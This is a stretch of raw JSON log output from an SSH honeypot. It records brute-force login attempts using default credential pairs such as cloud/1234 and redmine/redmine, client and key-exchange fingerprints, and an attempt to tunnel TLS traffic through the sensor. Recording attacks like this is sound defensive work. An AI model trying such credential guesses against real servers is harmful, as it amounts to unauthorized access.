{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:55.503546Z","session":"6035684deccd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:55.749172Z","src_ip":"123.27.168.40","session":"6035684deccd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x95W\\xcfO;\\x88pc\\xf1\\xd5\\xbd\\xc0\\xd9c\\xcb\\x06\\xbcw\\xa6]\\xf4\\xbe\\xae\\xabI\\x93L\\'\\xf8\\x1e(\\x87 \\xcf\\xfb\\xfd\\x1a\\x8fj\\x87\\xba.\\xfa\\xaa1\\xbf\\xcb\\xa9h\\xe85}\\xc3cn\\xc4I\\xa3d4\\xba\\xf2\\x9e\\x9a\\xd1\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa2\\xfa\\x89\\x03\"\\xdeor\\xdb\\xb02\\x82/2\\xe9v\\x19w*y6\\xd3\\x86:j\\x83&2`\\x0e\\xdb\"\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x95W\\xcfO;\\x88pc\\xf1\\xd5\\xbd\\xc0\\xd9c\\xcb\\x06\\xbcw\\xa6]\\xf4\\xbe\\xae\\xabI\\x93L\\'\\xf8\\x1e(\\x87 \\xcf\\xfb\\xfd\\x1a\\x8fj\\x87\\xba.\\xfa\\xaa1\\xbf\\xcb\\xa9h\\xe85}\\xc3cn\\xc4I\\xa3d4\\xba\\xf2\\x9e\\x9a\\xd1\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa2\\xfa\\x89\\x03\"\\xdeor\\xdb\\xb02\\x82/2\\xe9v\\x19w*y6\\xd3\\x86:j\\x83&2`\\x0e\\xdb\"\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:55.751869Z","src_ip":"123.27.168.40","session":"6035684deccd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:56.007176Z","session":"6035684deccd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:56.035204Z","src_ip":"45.153.34.195","session":"212afa6ac924","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:56.255370Z","src_ip":"123.27.168.40","session":"6035684deccd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x00\\xc3\\xa5\\x84:\\xc1\\xcb\\x1b\\xb0\\x94\\xb6u\\x12\"w\\xa6\\x1b\\x08\\xadJ\\x89\\xc0\\xad\\xbfAt\\x85\\xd9\\x11\\xdc\\xa9\\xe0 \\x04\\t\\xa8-4\\xf8b\\x9b\\xc5\\xe5\\xe2~\\xc2\"\\x8e\\x7f\\xf9\\xed|\\x11\\xde\\xd0w\\xce\\x89\\xd4\\xec\\xb1/Pp\\xaf\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 Aj\\x1c@\\x14\\x93>\\xdc]}\\x16\\n\\xcf\\xfbH\\x03\\xeef\\xe6\\xb3\\xe9\\xb1\"Za\\x9dm\\xdc\\x88\\x12\\xfag\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x00\\xc3\\xa5\\x84:\\xc1\\xcb\\x1b\\xb0\\x94\\xb6u\\x12\"w\\xa6\\x1b\\x08\\xadJ\\x89\\xc0\\xad\\xbfAt\\x85\\xd9\\x11\\xdc\\xa9\\xe0 \\x04\\t\\xa8-4\\xf8b\\x9b\\xc5\\xe5\\xe2~\\xc2\"\\x8e\\x7f\\xf9\\xed|\\x11\\xde\\xd0w\\xce\\x89\\xd4\\xec\\xb1/Pp\\xaf\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 Aj\\x1c@\\x14\\x93>\\xdc]}\\x16\\n\\xcf\\xfbH\\x03\\xeef\\xe6\\xb3\\xe9\\xb1\"Za\\x9dm\\xdc\\x88\\x12\\xfag\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:56.258845Z","src_ip":"123.27.168.40","session":"6035684deccd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":17248,"dst_ip":"10.17.0.5","dst_port":22,"session":"476f5fb4631b","protocol":"ssh","message":"New connection: 91.92.40.36:17248 (10.17.0.5:22) [session: 476f5fb4631b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:56.423721Z"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:56.653704Z","src_ip":"123.27.168.40","session":"6035684deccd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"1234","message":"login attempt [cloud/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:57.063943Z","src_ip":"91.92.40.36","session":"a3c5c818bac0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":52108,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd529a1f26a7","protocol":"ssh","message":"New connection: 45.153.34.195:52108 (10.17.0.5:22) [session: cd529a1f26a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:57.219435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:57.228717Z","src_ip":"45.153.34.195","session":"cd529a1f26a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:57.325521Z","src_ip":"45.153.34.195","session":"cd529a1f26a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex","message":"login attempt [alex/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:57.647234Z","src_ip":"45.153.34.195","session":"cd529a1f26a7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:57.756660Z","src_ip":"91.92.40.36","session":"476f5fb4631b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:57.769090Z","src_ip":"91.92.40.36","session":"476f5fb4631b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:58.735716Z","src_ip":"45.153.34.195","session":"cd529a1f26a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.4","message":"Connection lost after 11.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:59.734820Z","src_ip":"91.92.40.36","session":"a3c5c818bac0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":52140,"dst_ip":"10.17.0.5","dst_port":22,"session":"27c5e486de81","protocol":"ssh","message":"New connection: 45.153.34.195:52140 (10.17.0.5:22) [session: 27c5e486de81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:00.281766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:00.294251Z","src_ip":"45.153.34.195","session":"27c5e486de81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:00.378548Z","src_ip":"45.153.34.195","session":"27c5e486de81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"redmine","password":"redmine","message":"login attempt [redmine/redmine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:00.637487Z","src_ip":"45.153.34.195","session":"27c5e486de81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.122.139","src_port":33642,"dst_ip":"10.17.0.5","dst_port":22,"session":"a34e5a0e58c4","protocol":"ssh","message":"New connection: 101.36.122.139:33642 (10.17.0.5:22) [session: a34e5a0e58c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:00.655860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:39:00.665125Z","src_ip":"101.36.122.139","session":"a34e5a0e58c4","protocol":"ssh"}
